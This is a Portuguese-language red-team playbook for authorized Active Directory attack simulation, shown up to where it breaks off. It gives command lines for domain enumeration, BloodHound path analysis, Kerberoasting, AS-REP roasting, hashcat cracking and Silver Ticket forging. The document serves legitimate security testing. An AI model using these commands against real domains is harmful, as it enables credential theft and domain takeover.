Executando Simulação de Ataque ao Active Directory

Quando Usar

• Avaliar a segurança de um domínio e floresta do Active Directory contra técnicas de ataque comuns e avançadas
• Identificar caminhos de ataque de um usuário de domínio de baixa privilégio para Administrador de Domínio usando análise de relacionamento de privilégios
• Validar que as configurações de segurança do Kerberos, políticas de credenciais e configurações de delegação resistem a ataques conhecidos
• Testar as capacidades de detecção do SOC e das ferramentas EDR contra TTPs específicas do Active Directory
• Avaliar a eficácia de modelos de administração em camadas e estações de trabalho de acesso privilegiado

Não use sem autorização escrita explícita do proprietário do domínio, contra controladores de domínio de produção durante o horário comercial, a menos que aprovado, ou para testes que possam causar bloqueios de conta afetando usuários reais sem coordenação prévia.

Pré-requisitos

• Autorização escrita especificando o domínio AD alvo, restrições de teste e quaisquer contas ou sistemas fora dos limites
• Conta de usuário de domínio de baixa privilégio (ponto de partida mínimo) para simular a posição realista de um atacante
• Estação de trabalho de teste ingressada no domínio ou acesso de rede aos controladores de domínio nas portas 88, 135, 139, 389, 445, 636, 3268, 3269
• BloodHound Community Edition ou Enterprise com coletores SharpHound/AzureHound
• Toolkit Impacket, Mimikatz (ou pypykatz), Rubeus e CrackMapExec instalados na plataforma de ataque
• Hashcat ou John the Ripper com wordlists atuais (rockyou.txt, SecLists) para quebra de credenciais offline

Fluxo de Trabalho

Etapa 1: Reconhecimento do Active Directory

Enumerar o ambiente AD a partir de uma posição de usuário de domínio de baixa privilégio:

• Enumeração de domínio: Get-ADDomain ou crackmapexec smb <dc_ip> -u <user> -p <pass> --domains para identificar o nome do domínio, nível funcional, controladores de domínio e trusts de floresta
• Enumeração de usuários: Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet para identificar contas de serviço, contas privilegiadas e senhas desatualizadas
• Enumeração de grupos: Mapear a associação de grupos de alto valor (Administradores de Domínio, Administradores de Empresa, Administradores de Schema, Operadores de Conta, Operadores de Backup) usando net group "Domain Admins" /domain
• Enumeração de GPO: Get-GPO -All | Get-GPOReport -ReportType XML para identificar configurações de Política de Grupo, incluindo políticas de senha, configurações de auditoria e implantação de software
• Enumeração de trusts: nltest /domain_trusts /all_trusts para mapear trusts entre domínios e entre florestas, observando a direção e transitividade do trust
• Consultas LDAP: Use ldapsearch ou ADExplorer para pesquisar contas com sinalizadores userAccountControl indicando "senha nunca expira", "senha não necessária" ou "Kerberos apenas DES"

Etapa 2: Análise de Caminho de Ataque do BloodHound

Coletar e analisar dados de relacionamento do AD para identificar os caminhos mais curtos para Administrador de Domínio:

• Executar o coletor SharpHound: SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\ para coletar dados de usuários, grupos, sessões, ACLs, trusts e GPOs
• Importar a saída JSON para o BloodHound e executar consultas integradas:
  • "Caminhos Mais Curtos para Administradores de Domínio a Partir de Principais Comprometidos"
  • "Encontrar Principais com Direitos DCSync"
  • "Encontrar Computadores onde Usuários de Domínio são Administradores Locais"
  • "Caminhos Mais Curtos para Sistemas de Delegação Irrestrita"
  • "Encontrar Todos os Caminhos de Usuários com Possibilidade de Kerberoasting"
• Marcar o usuário comprometido como "proprietário" no BloodHound e analisar os caminhos de ataque resultantes
• Identificar caminhos de ataque baseados em ACL: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword em objetos de alto valor
• Documentar cada caminho de ataque identificado com a cadeia de relacionamentos e objetos afetados

Etapa 3: Ataques Kerberos

Executar ataques baseados em Kerberos contra contas vulneráveis identificadas:

• Kerberoasting: Solicitar tickets TGS para contas com SPNs: impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes. Quebrar offline com hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
• AS-REP Roasting: Alvo de contas sem pré-autenticação Kerberos: impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes. Quebrar com hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
• Silver Ticket: Se o hash NTLM de uma conta de serviço for quebrado, forjar um ticket TGS para esse serviço usando impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>

…